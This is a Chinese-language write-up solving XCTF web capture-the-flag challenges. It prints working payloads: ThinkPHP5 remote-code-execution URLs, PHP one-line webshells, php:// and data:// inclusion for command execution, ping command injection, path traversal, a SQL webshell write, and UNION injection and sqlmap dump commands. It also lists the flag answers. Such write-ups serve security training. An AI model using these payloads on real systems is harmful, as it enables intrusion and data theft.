https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=0
https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1
新手练习区
view_source(查看源码)
难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。 题目场景: 题目附件: 暂无
Ctrl + U
/ F12
查看网页源代码得到 flag:cyberpeace{efefaca6785b40c07aab084db2d38571}
robots(robots.txt)
难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。 题目场景: 题目附件: 暂无
网页空白,查看源码,提示:
再根据题目提示,访问 /robots.txt
得到:
User-agent: *
Disallow:
Disallow: f1ag_1s_h3re.php
访问 /f1ag_1s_h3re.php
得到 flag:cyberpeace{3cb114a85c4f5603ed16a1967b8bffd3}
:::info
robots.txt 是一种君子协议
:::
backup(文件备份)
难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧! 题目场景: 题目附件: 暂无
网页提示:你知道index.php的备份文件名吗?
尝试访问 /index.php.bak
并打开,
得到 flag:Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
cookie(查看 cookie)
难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’ 题目场景: 题目附件: 暂无
网页提示:你知道什么是cookie吗?
在浏览器 Network 中 / burp 抓包,看到响应头 Set-Cookie: look-here=cookie.php
,
访问 /cookie.php
,提示:See the http response
burp 抓包,看到响应头 flag: cyberpeace{07ae0661cf1f21ff2b7dfb9a6cc3bfc8}
另一种看 cookie 的方法:浏览器 Console 中输入 document.cookie
disabled_button(HTML 代码调试)
难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢? 题目场景: 题目附件: 暂无
网页中有个被禁用的按钮 [flag],F12 打开开发者工具,找到代码:
<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth" />
将 disabled
属性删掉,点击网页的 [flag] 按钮得到 cyberpeace{8adf7b3917a234ff05a6f5427e3f2ef9}
另一种方法,HackBar 中直接 Post auth=flag
weak_auth(暴力破解)
难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。 题目场景: 题目附件: 暂无
网页是个登录页面,用 aaa:111 登录,提示:please login as admin
查看 /check.php 源码,提示:
用 burp 构造攻击,使用字典 https://github.com/TheKingOfDuck/fuzzDicts passwordDict/top500
找到 Length 与其他不同的响应,得到 flag:cyberpeace{71b65ca67c39f730c83315033927f83e}
simple_php(php 代码审计)
难度系数: 1.0 题目来源: Cyberpeace-n3k0 题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 题目场景: 题目附件: 暂无
网页给出代码:
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){ // 需要同时满足 a==0 且 a==true
echo $flag1;
}
if(is_numeric($b)){ // b 不能是数字或数字字符串
exit();
}
if($b>1234){ // b 要大于 1234
echo $flag2;
}
?>
:::info
php 中有两种比较符号:===
会同时比较字符串的值和类型==
会先将字符串换成相同类型,再作比较,属于弱类型比较
php 中弱类型比较时,会使 '1234a' == 1234
和 'abc' == 0
为真
:::
:::info
is_numeric()
判断如果是数字和数字字符串返回 TRUE,否则返回 FALSE
:::
构造 GET 参数:/?a=a&b=1235a
get_post(HTTP 请求方法)
难度系数: 2.0 题目来源: Cyberpeace-n3k0 题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗? 题目场景: 题目附件: 暂无
网页提示:请用GET方式提交一个名为a,值为1的变量
GET 后提示:请再以POST方式随便提交一个名为b,值为2的变量
POST 后得到 flag:cyberpeace{f1d3faee88d739f7bf4bdea29617b49a}
xff_referer(XFF、Referer、HTTP 请求头)
难度系数: 2.0 题目来源: Cyberpeace-n3k0 题目描述:X老师告诉小宁其实xff和referer是可以伪造的。 题目场景: 题目附件: 暂无
网页提示:ip地址必须为123.123.123.123
:::info
X-Forwarded-For:简称 XFF 头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项
Referer:当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
:::
burp 在请求头加入 X-Forwarded-For: 123.123.123.123
网页又提示:必须来自https://www.google.com
burp 在请求头加入 Referer: https://www.google.com
得到 flag:cyberpeace{09a675b5ed26dc631a8000a3a669e93e}
webshell(webshell)
难度系数: 2.0 题目来源: Cyberpeace-n3k0 题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。 题目场景: 题目附件: 暂无
网页提示:你会使用webshell吗?<?php @eval($_POST[‘shell’]);?>
:::info
webshell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以叫做网页后门。黑客在入侵了一个网站后,通常会将 asp 或 php 后门文件与网站服务器 WEB 目录下正常的网页文件混在一起,然后就可以使用浏览器来访问 asp 或者 php 后门,得到一个命令执行环境,以达到控制网站服务器的目的
:::
HackBar 中 POST shell=system('find / -name *flag*');
可以看到 /var/www/html/flag.txt 文件,再 POST shell=system('cat /var/www/html/flag.txt');
得到 flag:cyberpeace{7e955946fbb705988142105875b3ccb1}
另一种方法,直接使用中国菜刀或蚁剑连接,URL 就是 http://****/index.php,密码是 shell
command_execution(命令执行)
难度系数: 2.0 题目来源: Cyberpeace-n3k0 题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。 题目场景: 题目附件: 暂无
网页输入一个 ip 会有 Linux 命令回显:
尝试 127.0.0.1 && find / -name *flag*
,发现
执行 127.0.0.1 && cat /home/flag.txt
,得到 flag:cyberpeace{7fbba7c164cc167c7fcfa9b4a13b54a8}
:::info
Linux 中,;
的作用是将命令隔开,每个命令从左到右执行|
的作用是将前一个命令的结果传递给后一个命令作为输入(管道)&
的作用是让 & 前面的命令后台执行&&
的作用是前面命令返回真,后面命令才会执行||
的作用是前面命令返回假,后面命令才会执行(逻辑短路)
:::
所以本题可以使用 ; | & &&
四种符号连接命令
simple_js(js 代码审计)
难度系数: 3.0 题目来源: root-me 题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} ) 题目场景: 题目附件: 暂无
查看网页源代码
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc) {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');
var i, j, k, l = 0, m, n, o, p = "";
i = 0;
j = tab.length;
k = j + (l) + (n = 0);
n = tab2.length;
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l]; p += String.fromCharCode((o = tab2[i]));
if (i == 5) break;
}
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
if (i > 5 && i < k - 1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert(dechiffre(h));
</script>
</head>
</html>
真密码在 fromCharCode
hex_to_ascii(\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30) = 55,56,54,79,115,69,114,116,107,49,50
ord(55,56,54,79,115,69,114,116,107,49,50) = 786OsErtk12
flag:Cyberpeace{786OsErtk12}
高手进阶区
baby_web(HTTP 响应头)
难度系数: 1.0 题目来源: 暂无 题目描述:想想初始页面是哪个 题目场景: 题目附件: 暂无
根据题目提示访问 /index.php
,发现会跳转到 /1.php
浏览器开发者工具 / burp 中查看 GET /index.php 的响应,发现 flag:flag{very_baby_web}
HTTP/1.1 302 Found
Date: Sat, 21 Aug 2021 13:18:11 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.21
FLAG: flag{very_baby_web}
Location: 1.php
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8
Flag is hidden!
:::info
响应头中 Location
的作用是将页面重定向到新的地址
https://datatracker.ietf.org/doc/html/rfc7231#section-7.1.2
:::
ics-06(暴力破解)
ics-0644 最佳Writeup由Bleach • Bleachz提供 难度系数: 2.0 题目来源: XCTF 4th-CyberEarth 题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。 题目场景: 题目附件: 暂无
打开页面如下
到处点一点,发现这个“报表中心”/index.php?id=1
这个页面有异常,尝试爆破 id
发现 id=2333 返回长度与其他不同
访问 /index.php?id=2333 发现 flag
Training-WWW-Robots(robots.txt,同上)
难度系数: 1.0 题目来源: 暂无 题目描述:暂无 题目场景: 题目附件: 暂无
根据页面提示,访问 /robots.txt
,发现 /fl0g.php
User-agent: *
Disallow: /fl0g.php
User-agent: Yandex
Disallow: *
访问 /fl0g.php
,得到 flag:cyberpeace{41f3bad28c5143623b59bb636e42b4b9}
php_rce(ThinkPHP5.* getshell 漏洞)
难度系数: 2.0 题目来源: 暂无 题目描述:暂无 题目场景: 题目附件: 暂无
页面如下:
:::info
ThinkPHP5.* 存在 getshell 漏洞 https://blog.thinkphp.cn/869075
ThinkPHP5 框架底层对控制器名过滤不严,可以通过 url 调用到 ThinkPHP 框架内部的敏感函数,进而导致getshell漏洞
payload 大全:https://www.cnblogs.com/r00tuser/p/10103329.html
:::
使用 payload 验证是否存在漏洞:
/?s=index/think\app/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=whoami
继续构造 payload:
/?s=index/think\app/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=find%20/%20-name%20%2Aflag%2A
/?s=index/think\app/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=cat%20/flag
Web_php_include(php 文件包含)
难度系数: 2.0 题目来源: XTCTF 题目描述:暂无 题目场景: 题目附件: 暂无
页面给出代码:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page); // php 文件包含
?>
:::info
**strstr($haystack, $needle, $before_needle)**
查找字符串的首次出现,返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串,例如:
strstr(‘name@example.com’, ‘@’) —> example.com
strstr(‘name@example.com’, ‘@’, true) —> name
参考:https://www.php.net/manual/zh/function.strstr.php**str_replace($search, $replace, $subject, $count)**
子字符串替换,该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果
参考:https://www.php.net/manual/zh/function.str-replace.php
:::
:::info
php 伪协议:https://www.php.net/manual/zh/wrappers.php
利用方法:https://www.cnblogs.com/-mo-/p/11736445.html
:::
如果 page 参数存在 php:// 则进行替换;然后进行文件包含
方法一(利用 php:// 伪协议执行命令,大小写绕过):
分析代码可知过滤了 php://
,可以使用 Php://
绕过
:::info
**php://filter**
利用方法:
page=Php://filter/resource=index.php # 执行文件
page=Php://filter/read=convert.base64-encode/resource=index.php # 读取文件需要将文件名base64编码**php://input**
利用方法:
将要执行的 php 代码写在 POST 中提交,不用键与值的形式,只写代码即可
:::
本题可利用 php://input
,将命令放在 POST 中:/?page=Php://input
POST data:<?system('ls');?>
POST data:<?system('cat fl4gisisish3r3.php');?>
比较坑的是网页中看不到任何变化,要看源码!!!
方法二(利用 http:// 伪协议执行命令):/?page=http://127.0.0.1/index.php/?hello=<?system('ls');?>
/?page=http://127.0.0.1/index.php/?hello=<?show_source('fl4gisisish3r3.php');?>
方法三(利用 data:// 伪协议执行命令):
:::info
**data://**
利用方法:
data://text/plain,<?phpcode?>
data://text/plain/;base64,phpcode_base64encode_urlencode
:::?page=data://text/plain,<?system('ls');?>
?page=data://text/plain,<?system('cat fl4gisisish3r3.php');?>
还可以利用 data:// 传木马:?page=data://text/plain,<?php @eval($_POST['flag']);?>
:::info
php 一句话木马:
https://www.cnblogs.com/white-album2/p/9851468.html
https://github.com/tennc/webshell/blob/master/php/php%E4%B8%80%E5%8F%A5%E8%AF%9D
:::
方法四(SQL 写木马):
扫描网站发现 phpmyadmin,用户 root,密码为空,SQL 写入一句话木马
select "<?php @eval($_POST['flag']);?>"
into outfile '/tmp/test.php'
用菜刀 / 蚁剑连接,发现 fl4gisisish3r3.php
warmup(php 代码审计)
难度系数: 2.0 题目来源: HCTF 2018 题目描述:暂无 题目场景: 题目附件: 暂无
查看页面源代码,发现 source.php
访问 /source.php
,看到源码和一个提示 hint.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr( // _page 取 page 的 ? 前面的字符串
$page,
0,
mb_strpos($page . '?', '?') // . 用连接字符串
);
if (in_array($_page, $whitelist)) { // _page 在 whitelist 中
return true;
}
$_page = urldecode($page); // url 解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
分析代码,参数 file 需要满足下面条件:
- 非空,字符串,checkFile(file) 返回 true
- 以 source.php 或 hint.php 开头
再访问 hint.php ,提示 flag not here, and flag in ffffllllaaaagggg
构造 payload:/?file=source.php?/../../../../ffffllllaaaagggg
NewsCenter
难度系数: 2.0 题目来源: XCTF 4th-QCTF-2018 题目描述:如题目环境报错,稍等片刻刷新即可 题目场景: 题目附件: 暂无
手工注入
1.初步探测,发现搜索框存在注入
' union select 1,2,3 #
2.获取数据库名,表名
' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
3.获取news 表的字段名,数据类型
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#
4.获取f1agfl4gher3 字段名 数据类型
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
5.得到flag
' and 0 union select 1,2,fl4g from secret_table #
sqlmap 注入
1.获取注入点
sqlmap -u http://192.168.100.161:53459 --data "search=df"
2.获取数据库信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" --dbs
3.获取库内表信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables
4.获取表内字段信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns
5.获取字段内容,得到flag
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump